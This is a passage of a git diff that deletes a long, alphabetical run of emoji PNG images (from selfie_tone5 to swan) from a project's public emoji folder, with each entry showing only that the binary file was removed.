deleted file mode 100644
index ac15a25deb8..00000000000
--- a/public/-/emojis/2/selfie_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/seven.png b/public/-/emojis/2/seven.png
deleted file mode 100644
index d81f692c0f2..00000000000
--- a/public/-/emojis/2/seven.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shallow_pan_of_food.png b/public/-/emojis/2/shallow_pan_of_food.png
deleted file mode 100644
index fd4d061983e..00000000000
--- a/public/-/emojis/2/shallow_pan_of_food.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shamrock.png b/public/-/emojis/2/shamrock.png
deleted file mode 100644
index 53ad4810f05..00000000000
--- a/public/-/emojis/2/shamrock.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shark.png b/public/-/emojis/2/shark.png
deleted file mode 100644
index 9f2d661850d..00000000000
--- a/public/-/emojis/2/shark.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shaved_ice.png b/public/-/emojis/2/shaved_ice.png
deleted file mode 100644
index c4c8ab5fd04..00000000000
--- a/public/-/emojis/2/shaved_ice.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sheep.png b/public/-/emojis/2/sheep.png
deleted file mode 100644
index 549615086f0..00000000000
--- a/public/-/emojis/2/sheep.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shell.png b/public/-/emojis/2/shell.png
deleted file mode 100644
index f9b2e18c3c4..00000000000
--- a/public/-/emojis/2/shell.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shield.png b/public/-/emojis/2/shield.png
deleted file mode 100644
index 3c5582b6cc2..00000000000
--- a/public/-/emojis/2/shield.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shinto_shrine.png b/public/-/emojis/2/shinto_shrine.png
deleted file mode 100644
index 6b12ebd116c..00000000000
--- a/public/-/emojis/2/shinto_shrine.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ship.png b/public/-/emojis/2/ship.png
deleted file mode 100644
index 8f6b838ceb7..00000000000
--- a/public/-/emojis/2/ship.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shirt.png b/public/-/emojis/2/shirt.png
deleted file mode 100644
index 8360751d84e..00000000000
--- a/public/-/emojis/2/shirt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shopping_bags.png b/public/-/emojis/2/shopping_bags.png
deleted file mode 100644
index 9368bb77862..00000000000
--- a/public/-/emojis/2/shopping_bags.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shopping_cart.png b/public/-/emojis/2/shopping_cart.png
deleted file mode 100644
index b02abd01a0c..00000000000
--- a/public/-/emojis/2/shopping_cart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shower.png b/public/-/emojis/2/shower.png
deleted file mode 100644
index b07babe3264..00000000000
--- a/public/-/emojis/2/shower.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shrimp.png b/public/-/emojis/2/shrimp.png
deleted file mode 100644
index 2b1928af7c0..00000000000
--- a/public/-/emojis/2/shrimp.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shrug.png b/public/-/emojis/2/shrug.png
deleted file mode 100644
index e010cfd634f..00000000000
--- a/public/-/emojis/2/shrug.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shrug_tone1.png b/public/-/emojis/2/shrug_tone1.png
deleted file mode 100644
index 435b90b19d3..00000000000
--- a/public/-/emojis/2/shrug_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shrug_tone2.png b/public/-/emojis/2/shrug_tone2.png
deleted file mode 100644
index ca0fb8fdb07..00000000000
--- a/public/-/emojis/2/shrug_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shrug_tone3.png b/public/-/emojis/2/shrug_tone3.png
deleted file mode 100644
index 9a5991e5814..00000000000
--- a/public/-/emojis/2/shrug_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shrug_tone4.png b/public/-/emojis/2/shrug_tone4.png
deleted file mode 100644
index e30bc4dfdee..00000000000
--- a/public/-/emojis/2/shrug_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shrug_tone5.png b/public/-/emojis/2/shrug_tone5.png
deleted file mode 100644
index 1080899cd28..00000000000
--- a/public/-/emojis/2/shrug_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/shushing_face.png b/public/-/emojis/2/shushing_face.png
deleted file mode 100644
index f157d81e646..00000000000
--- a/public/-/emojis/2/shushing_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/signal_strength.png b/public/-/emojis/2/signal_strength.png
deleted file mode 100644
index 6009531b608..00000000000
--- a/public/-/emojis/2/signal_strength.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/six.png b/public/-/emojis/2/six.png
deleted file mode 100644
index 272d6054aeb..00000000000
--- a/public/-/emojis/2/six.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/six_pointed_star.png b/public/-/emojis/2/six_pointed_star.png
deleted file mode 100644
index 10a791c8d71..00000000000
--- a/public/-/emojis/2/six_pointed_star.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/skateboard.png b/public/-/emojis/2/skateboard.png
deleted file mode 100644
index aa3536fb1ce..00000000000
--- a/public/-/emojis/2/skateboard.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ski.png b/public/-/emojis/2/ski.png
deleted file mode 100644
index 8b99ab9bc79..00000000000
--- a/public/-/emojis/2/ski.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/skier.png b/public/-/emojis/2/skier.png
deleted file mode 100644
index 0a8cd4f7047..00000000000
--- a/public/-/emojis/2/skier.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/skull.png b/public/-/emojis/2/skull.png
deleted file mode 100644
index 3376df22ec0..00000000000
--- a/public/-/emojis/2/skull.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/skull_crossbones.png b/public/-/emojis/2/skull_crossbones.png
deleted file mode 100644
index b42cb72833d..00000000000
--- a/public/-/emojis/2/skull_crossbones.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sled.png b/public/-/emojis/2/sled.png
deleted file mode 100644
index cc7f123cd10..00000000000
--- a/public/-/emojis/2/sled.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sleeping.png b/public/-/emojis/2/sleeping.png
deleted file mode 100644
index 5ef1901bd73..00000000000
--- a/public/-/emojis/2/sleeping.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sleeping_accommodation.png b/public/-/emojis/2/sleeping_accommodation.png
deleted file mode 100644
index 4e284208967..00000000000
--- a/public/-/emojis/2/sleeping_accommodation.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sleepy.png b/public/-/emojis/2/sleepy.png
deleted file mode 100644
index b7a3fd49f86..00000000000
--- a/public/-/emojis/2/sleepy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/slight_frown.png b/public/-/emojis/2/slight_frown.png
deleted file mode 100644
index 13f27aa9b14..00000000000
--- a/public/-/emojis/2/slight_frown.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/slight_smile.png b/public/-/emojis/2/slight_smile.png
deleted file mode 100644
index 193361de44c..00000000000
--- a/public/-/emojis/2/slight_smile.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/slot_machine.png b/public/-/emojis/2/slot_machine.png
deleted file mode 100644
index 435b3527e47..00000000000
--- a/public/-/emojis/2/slot_machine.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/small_blue_diamond.png b/public/-/emojis/2/small_blue_diamond.png
deleted file mode 100644
index aa39dd5225b..00000000000
--- a/public/-/emojis/2/small_blue_diamond.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/small_orange_diamond.png b/public/-/emojis/2/small_orange_diamond.png
deleted file mode 100644
index 814ed7c4f40..00000000000
--- a/public/-/emojis/2/small_orange_diamond.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/small_red_triangle.png b/public/-/emojis/2/small_red_triangle.png
deleted file mode 100644
index 86f0e3b4b4e..00000000000
--- a/public/-/emojis/2/small_red_triangle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/small_red_triangle_down.png b/public/-/emojis/2/small_red_triangle_down.png
deleted file mode 100644
index 8a1a12763d3..00000000000
--- a/public/-/emojis/2/small_red_triangle_down.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/smile.png b/public/-/emojis/2/smile.png
deleted file mode 100644
index 9cf56e1b441..00000000000
--- a/public/-/emojis/2/smile.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/smile_cat.png b/public/-/emojis/2/smile_cat.png
deleted file mode 100644
index c8d78aa5198..00000000000
--- a/public/-/emojis/2/smile_cat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/smiley.png b/public/-/emojis/2/smiley.png
deleted file mode 100644
index 624fda26c3e..00000000000
--- a/public/-/emojis/2/smiley.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/smiley_cat.png b/public/-/emojis/2/smiley_cat.png
deleted file mode 100644
index 542200c6823..00000000000
--- a/public/-/emojis/2/smiley_cat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/smiling_face_with_3_hearts.png b/public/-/emojis/2/smiling_face_with_3_hearts.png
deleted file mode 100644
index e53bc63226b..00000000000
--- a/public/-/emojis/2/smiling_face_with_3_hearts.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/smiling_imp.png b/public/-/emojis/2/smiling_imp.png
deleted file mode 100644
index 1dc8f35c3d2..00000000000
--- a/public/-/emojis/2/smiling_imp.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/smirk.png b/public/-/emojis/2/smirk.png
deleted file mode 100644
index 6268c467dba..00000000000
--- a/public/-/emojis/2/smirk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/smirk_cat.png b/public/-/emojis/2/smirk_cat.png
deleted file mode 100644
index fca8b99556c..00000000000
--- a/public/-/emojis/2/smirk_cat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/smoking.png b/public/-/emojis/2/smoking.png
deleted file mode 100644
index 38e64449f1a..00000000000
--- a/public/-/emojis/2/smoking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snail.png b/public/-/emojis/2/snail.png
deleted file mode 100644
index afee7fd26a5..00000000000
--- a/public/-/emojis/2/snail.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snake.png b/public/-/emojis/2/snake.png
deleted file mode 100644
index da867c4ec20..00000000000
--- a/public/-/emojis/2/snake.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sneezing_face.png b/public/-/emojis/2/sneezing_face.png
deleted file mode 100644
index 76ca622d896..00000000000
--- a/public/-/emojis/2/sneezing_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snowboarder.png b/public/-/emojis/2/snowboarder.png
deleted file mode 100644
index f8600d391a6..00000000000
--- a/public/-/emojis/2/snowboarder.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snowboarder_tone1.png b/public/-/emojis/2/snowboarder_tone1.png
deleted file mode 100644
index b40fdc887a4..00000000000
--- a/public/-/emojis/2/snowboarder_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snowboarder_tone2.png b/public/-/emojis/2/snowboarder_tone2.png
deleted file mode 100644
index 83bc76623ab..00000000000
--- a/public/-/emojis/2/snowboarder_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snowboarder_tone3.png b/public/-/emojis/2/snowboarder_tone3.png
deleted file mode 100644
index dae9fb2b97c..00000000000
--- a/public/-/emojis/2/snowboarder_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snowboarder_tone4.png b/public/-/emojis/2/snowboarder_tone4.png
deleted file mode 100644
index b10d16ebb80..00000000000
--- a/public/-/emojis/2/snowboarder_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snowboarder_tone5.png b/public/-/emojis/2/snowboarder_tone5.png
deleted file mode 100644
index b03b4d815b7..00000000000
--- a/public/-/emojis/2/snowboarder_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snowflake.png b/public/-/emojis/2/snowflake.png
deleted file mode 100644
index dca177ed598..00000000000
--- a/public/-/emojis/2/snowflake.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snowman.png b/public/-/emojis/2/snowman.png
deleted file mode 100644
index 2157af7212b..00000000000
--- a/public/-/emojis/2/snowman.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/snowman_with_snow.png b/public/-/emojis/2/snowman_with_snow.png
deleted file mode 100644
index 110ede52d0b..00000000000
--- a/public/-/emojis/2/snowman_with_snow.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/soap.png b/public/-/emojis/2/soap.png
deleted file mode 100644
index 0266a14f56c..00000000000
--- a/public/-/emojis/2/soap.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sob.png b/public/-/emojis/2/sob.png
deleted file mode 100644
index 5bd2b394e41..00000000000
--- a/public/-/emojis/2/sob.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/soccer.png b/public/-/emojis/2/soccer.png
deleted file mode 100644
index 86f8f754dc0..00000000000
--- a/public/-/emojis/2/soccer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/socks.png b/public/-/emojis/2/socks.png
deleted file mode 100644
index 8abd0894687..00000000000
--- a/public/-/emojis/2/socks.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/softball.png b/public/-/emojis/2/softball.png
deleted file mode 100644
index 40132b8089f..00000000000
--- a/public/-/emojis/2/softball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/soon.png b/public/-/emojis/2/soon.png
deleted file mode 100644
index b2933f18073..00000000000
--- a/public/-/emojis/2/soon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sos.png b/public/-/emojis/2/sos.png
deleted file mode 100644
index 76be7362138..00000000000
--- a/public/-/emojis/2/sos.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sound.png b/public/-/emojis/2/sound.png
deleted file mode 100644
index 1e4a3f7c6ef..00000000000
--- a/public/-/emojis/2/sound.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/space_invader.png b/public/-/emojis/2/space_invader.png
deleted file mode 100644
index 5db84496746..00000000000
--- a/public/-/emojis/2/space_invader.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/spades.png b/public/-/emojis/2/spades.png
deleted file mode 100644
index ab4aa020982..00000000000
--- a/public/-/emojis/2/spades.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/spaghetti.png b/public/-/emojis/2/spaghetti.png
deleted file mode 100644
index 357e725ef15..00000000000
--- a/public/-/emojis/2/spaghetti.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sparkle.png b/public/-/emojis/2/sparkle.png
deleted file mode 100644
index f8814cbdf95..00000000000
--- a/public/-/emojis/2/sparkle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sparkler.png b/public/-/emojis/2/sparkler.png
deleted file mode 100644
index 38ee595b33d..00000000000
--- a/public/-/emojis/2/sparkler.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sparkles.png b/public/-/emojis/2/sparkles.png
deleted file mode 100644
index 59f10a65009..00000000000
--- a/public/-/emojis/2/sparkles.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sparkling_heart.png b/public/-/emojis/2/sparkling_heart.png
deleted file mode 100644
index 894df4425ea..00000000000
--- a/public/-/emojis/2/sparkling_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/speak_no_evil.png b/public/-/emojis/2/speak_no_evil.png
deleted file mode 100644
index 794613634c9..00000000000
--- a/public/-/emojis/2/speak_no_evil.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/speaker.png b/public/-/emojis/2/speaker.png
deleted file mode 100644
index 9a6eba6cf6b..00000000000
--- a/public/-/emojis/2/speaker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/speaking_head.png b/public/-/emojis/2/speaking_head.png
deleted file mode 100644
index 5abcd776bef..00000000000
--- a/public/-/emojis/2/speaking_head.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/speech_balloon.png b/public/-/emojis/2/speech_balloon.png
deleted file mode 100644
index 83ea8c51187..00000000000
--- a/public/-/emojis/2/speech_balloon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/speech_left.png b/public/-/emojis/2/speech_left.png
deleted file mode 100644
index ce3d2d906a4..00000000000
--- a/public/-/emojis/2/speech_left.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/speedboat.png b/public/-/emojis/2/speedboat.png
deleted file mode 100644
index dbfb5105196..00000000000
--- a/public/-/emojis/2/speedboat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/spider.png b/public/-/emojis/2/spider.png
deleted file mode 100644
index c1f28c939cf..00000000000
--- a/public/-/emojis/2/spider.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/spider_web.png b/public/-/emojis/2/spider_web.png
deleted file mode 100644
index 0cd73055587..00000000000
--- a/public/-/emojis/2/spider_web.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sponge.png b/public/-/emojis/2/sponge.png
deleted file mode 100644
index efc894e8208..00000000000
--- a/public/-/emojis/2/sponge.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/spoon.png b/public/-/emojis/2/spoon.png
deleted file mode 100644
index 8912cd5608d..00000000000
--- a/public/-/emojis/2/spoon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/spy_tone1.png b/public/-/emojis/2/spy_tone1.png
deleted file mode 100644
index fbbd6bf830b..00000000000
--- a/public/-/emojis/2/spy_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/spy_tone2.png b/public/-/emojis/2/spy_tone2.png
deleted file mode 100644
index 2ca3e36e5de..00000000000
--- a/public/-/emojis/2/spy_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/spy_tone3.png b/public/-/emojis/2/spy_tone3.png
deleted file mode 100644
index 5521a251bad..00000000000
--- a/public/-/emojis/2/spy_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/spy_tone4.png b/public/-/emojis/2/spy_tone4.png
deleted file mode 100644
index d44ec38567d..00000000000
--- a/public/-/emojis/2/spy_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/spy_tone5.png b/public/-/emojis/2/spy_tone5.png
deleted file mode 100644
index 1e451bf36cb..00000000000
--- a/public/-/emojis/2/spy_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/squeeze_bottle.png b/public/-/emojis/2/squeeze_bottle.png
deleted file mode 100644
index 025e25e18ad..00000000000
--- a/public/-/emojis/2/squeeze_bottle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/squid.png b/public/-/emojis/2/squid.png
deleted file mode 100644
index a61990c4c9d..00000000000
--- a/public/-/emojis/2/squid.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/stadium.png b/public/-/emojis/2/stadium.png
deleted file mode 100644
index 41170d49da1..00000000000
--- a/public/-/emojis/2/stadium.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/star.png b/public/-/emojis/2/star.png
deleted file mode 100644
index f7e75c292a1..00000000000
--- a/public/-/emojis/2/star.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/star2.png b/public/-/emojis/2/star2.png
deleted file mode 100644
index b2f59dcb184..00000000000
--- a/public/-/emojis/2/star2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/star_and_crescent.png b/public/-/emojis/2/star_and_crescent.png
deleted file mode 100644
index 6c4b5b4a141..00000000000
--- a/public/-/emojis/2/star_and_crescent.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/star_of_david.png b/public/-/emojis/2/star_of_david.png
deleted file mode 100644
index 5a92c8be684..00000000000
--- a/public/-/emojis/2/star_of_david.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/star_struck.png b/public/-/emojis/2/star_struck.png
deleted file mode 100644
index ad8c83ba511..00000000000
--- a/public/-/emojis/2/star_struck.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/stars.png b/public/-/emojis/2/stars.png
deleted file mode 100644
index 0ec184fc8aa..00000000000
--- a/public/-/emojis/2/stars.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/station.png b/public/-/emojis/2/station.png
deleted file mode 100644
index 5dd355b9103..00000000000
--- a/public/-/emojis/2/station.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/statue_of_liberty.png b/public/-/emojis/2/statue_of_liberty.png
deleted file mode 100644
index 90d45178b33..00000000000
--- a/public/-/emojis/2/statue_of_liberty.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/steam_locomotive.png b/public/-/emojis/2/steam_locomotive.png
deleted file mode 100644
index b7d6bace298..00000000000
--- a/public/-/emojis/2/steam_locomotive.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/stew.png b/public/-/emojis/2/stew.png
deleted file mode 100644
index 2c205f89f4b..00000000000
--- a/public/-/emojis/2/stew.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/stop_button.png b/public/-/emojis/2/stop_button.png
deleted file mode 100644
index 86f949d6e2a..00000000000
--- a/public/-/emojis/2/stop_button.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/stopwatch.png b/public/-/emojis/2/stopwatch.png
deleted file mode 100644
index 4ed9cfe8631..00000000000
--- a/public/-/emojis/2/stopwatch.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/straight_ruler.png b/public/-/emojis/2/straight_ruler.png
deleted file mode 100644
index a87cd1be3ae..00000000000
--- a/public/-/emojis/2/straight_ruler.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/strawberry.png b/public/-/emojis/2/strawberry.png
deleted file mode 100644
index 2822752fff8..00000000000
--- a/public/-/emojis/2/strawberry.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/stuck_out_tongue.png b/public/-/emojis/2/stuck_out_tongue.png
deleted file mode 100644
index 5bd6c077497..00000000000
--- a/public/-/emojis/2/stuck_out_tongue.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/stuck_out_tongue_closed_eyes.png b/public/-/emojis/2/stuck_out_tongue_closed_eyes.png
deleted file mode 100644
index 9548cfa2580..00000000000
--- a/public/-/emojis/2/stuck_out_tongue_closed_eyes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/stuck_out_tongue_winking_eye.png b/public/-/emojis/2/stuck_out_tongue_winking_eye.png
deleted file mode 100644
index f313a7d9d2b..00000000000
--- a/public/-/emojis/2/stuck_out_tongue_winking_eye.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/stuffed_flatbread.png b/public/-/emojis/2/stuffed_flatbread.png
deleted file mode 100644
index 9aefd524371..00000000000
--- a/public/-/emojis/2/stuffed_flatbread.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sun_with_face.png b/public/-/emojis/2/sun_with_face.png
deleted file mode 100644
index 2d2730f977b..00000000000
--- a/public/-/emojis/2/sun_with_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sunflower.png b/public/-/emojis/2/sunflower.png
deleted file mode 100644
index b1616f3774e..00000000000
--- a/public/-/emojis/2/sunflower.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sunglasses.png b/public/-/emojis/2/sunglasses.png
deleted file mode 100644
index b62f162c706..00000000000
--- a/public/-/emojis/2/sunglasses.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sunny.png b/public/-/emojis/2/sunny.png
deleted file mode 100644
index c5e2c634606..00000000000
--- a/public/-/emojis/2/sunny.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sunrise.png b/public/-/emojis/2/sunrise.png
deleted file mode 100644
index f042ecc8dfb..00000000000
--- a/public/-/emojis/2/sunrise.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sunrise_over_mountains.png b/public/-/emojis/2/sunrise_over_mountains.png
deleted file mode 100644
index 6440313c60e..00000000000
--- a/public/-/emojis/2/sunrise_over_mountains.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/superhero.png b/public/-/emojis/2/superhero.png
deleted file mode 100644
index 1abddc8d5cd..00000000000
--- a/public/-/emojis/2/superhero.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/superhero_tone1.png b/public/-/emojis/2/superhero_tone1.png
deleted file mode 100644
index f43c9fe5478..00000000000
--- a/public/-/emojis/2/superhero_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/superhero_tone2.png b/public/-/emojis/2/superhero_tone2.png
deleted file mode 100644
index 974e6f1381e..00000000000
--- a/public/-/emojis/2/superhero_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/superhero_tone3.png b/public/-/emojis/2/superhero_tone3.png
deleted file mode 100644
index a52bb5ce590..00000000000
--- a/public/-/emojis/2/superhero_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/superhero_tone4.png b/public/-/emojis/2/superhero_tone4.png
deleted file mode 100644
index f6320f384a0..00000000000
--- a/public/-/emojis/2/superhero_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/superhero_tone5.png b/public/-/emojis/2/superhero_tone5.png
deleted file mode 100644
index 2218f07f313..00000000000
--- a/public/-/emojis/2/superhero_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/supervillain.png b/public/-/emojis/2/supervillain.png
deleted file mode 100644
index 8e887b2df2b..00000000000
--- a/public/-/emojis/2/supervillain.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/supervillain_tone1.png b/public/-/emojis/2/supervillain_tone1.png
deleted file mode 100644
index dafd7ac1aba..00000000000
--- a/public/-/emojis/2/supervillain_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/supervillain_tone2.png b/public/-/emojis/2/supervillain_tone2.png
deleted file mode 100644
index 4ab551a720f..00000000000
--- a/public/-/emojis/2/supervillain_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/supervillain_tone3.png b/public/-/emojis/2/supervillain_tone3.png
deleted file mode 100644
index 2a23ad72909..00000000000
--- a/public/-/emojis/2/supervillain_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/supervillain_tone4.png b/public/-/emojis/2/supervillain_tone4.png
deleted file mode 100644
index 440e4b307d0..00000000000
--- a/public/-/emojis/2/supervillain_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/supervillain_tone5.png b/public/-/emojis/2/supervillain_tone5.png
deleted file mode 100644
index cd1f65d2853..00000000000
--- a/public/-/emojis/2/supervillain_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/surfer.png b/public/-/emojis/2/surfer.png
deleted file mode 100644
index 81db94d48ce..00000000000
--- a/public/-/emojis/2/surfer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/surfer_tone1.png b/public/-/emojis/2/surfer_tone1.png
deleted file mode 100644
index e4a8862621a..00000000000
--- a/public/-/emojis/2/surfer_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/surfer_tone2.png b/public/-/emojis/2/surfer_tone2.png
deleted file mode 100644
index a2e1af29694..00000000000
--- a/public/-/emojis/2/surfer_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/surfer_tone3.png b/public/-/emojis/2/surfer_tone3.png
deleted file mode 100644
index f4a8159e8f9..00000000000
--- a/public/-/emojis/2/surfer_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/surfer_tone4.png b/public/-/emojis/2/surfer_tone4.png
deleted file mode 100644
index 11f7351c29e..00000000000
--- a/public/-/emojis/2/surfer_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/surfer_tone5.png b/public/-/emojis/2/surfer_tone5.png
deleted file mode 100644
index 0a30921eb04..00000000000
--- a/public/-/emojis/2/surfer_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/sushi.png b/public/-/emojis/2/sushi.png
deleted file mode 100644
index d0fb9f32e43..00000000000
--- a/public/-/emojis/2/sushi.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/suspension_railway.png b/public/-/emojis/2/suspension_railway.png
deleted file mode 100644
index 3c42243ed16..00000000000
--- a/public/-/emojis/2/suspension_railway.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/swan.png b/public/-/emojis/2/swan.png
deleted file mode 100644
index 497b82835da..00000000000
--- a/public/-/emojis/2/swan.png
+++ /dev/null
Binary files differ
